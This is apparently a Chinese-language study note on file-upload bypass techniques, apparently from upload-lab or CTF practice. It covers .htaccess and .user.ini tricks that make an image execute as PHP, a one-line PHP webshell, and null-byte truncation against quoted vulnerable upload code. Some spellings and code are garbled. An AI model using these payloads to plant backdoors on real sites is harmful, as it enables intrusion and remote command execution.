目录
文件上传-.hatacess
.hatacess(伪静态文件)文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htacess文件。可以帮助我们实现:网页301重定向,自定义404报错,改变文件扩展名,允许,阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等功能.hatacess默认不支持nginx,设置后支持。
上传模块中,黑名单过滤了所有能执行的后缀名,如果上传.htacess。htacess文件的作用时可以帮助我们实现包括:文件夹密码保护,用户自动重定向,自定义错误界面,改变你的文件扩展名,封禁特定的IP地址,禁止目录列表,以及使用其他文件作为index文件等一些功能。在htacess里写入色图Handlerapplication/x-httpd-http则可以重写成php文件。要htacess规则生效需要在apache开启rewrite重写模块,因为apache里多数都开启这个模块。所有规则一般都生效
<FilesMatch "22.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
第二行自动读写为php文件
上传htacess文件,会将22.jpg文件自动解析为php文件
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
文件上传-user.ini
php.ini是php是php的一个全局配置文件,对整个web服务起作用;而.user.ini(是防止脚本跨根目录执行的不是防止ftp)和htacess一样是目录配置文件,.user.ini就是用户自定义的一个php.ini,我们可以用这个文件来构造后门和隐藏后门。
让所有当前目录下可执行php文件 包含22.jpg文件
auto_prepend_file=22.jpg
文件上传-二次渲染
在我们上传文件后,网站会对图片进行二次处理(格式,尺寸,保存,删除,要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行战术
绕过方法:
1.配合条件竞争漏洞
竞争条件是指多个线程在没有进行锁操作或同步操作的情况下同时访问同一个共享代码,变量,文件等,运行的结果依赖于不用的线程访问数据的顺序
2.配合文件包含漏洞
将一句话木马插入到网站二次处理后的图片中,也就是将二次渲染后保留的图片和一句话木马制作为图片马,再配合文件包含漏洞解析图片马中的代码,获取webshell。
<?$_GET[0]($_POST[1];)?>
0=system
1=tac flag.php
00截断介绍
00截断,url中%00表示ASCII中的0,而ascii中的0当作特殊字符保留,表示字符串结束,所以url中出现%00表示读取已结束
**满足条件:(1)PHP版本<5.3.4 (2)配置参数magic_quotes_gpc呈关闭状态
1.白名单绕过 00截断(GET注入)
$_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$_GET['save_path']上传文件,后面使用 %00截断
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
白名单有png,上传png文件,使用Burpsuite进行抓包,进行如下操作,关闭代理即可上传成功
上传图片后 复制图片链接,删除后面多余的部分就是我们需要的URL地址,使用蚁剑进行连接,进行提权
2.白名单绕过 00截断(POST注入)
$_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$_POST['save_path']上传文件,后面使用 0x00截断(Hex16进制)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
白名单有png,上传png文件,使用Burpsuite进行抓包,进行如下操作,关闭代理即可上传成功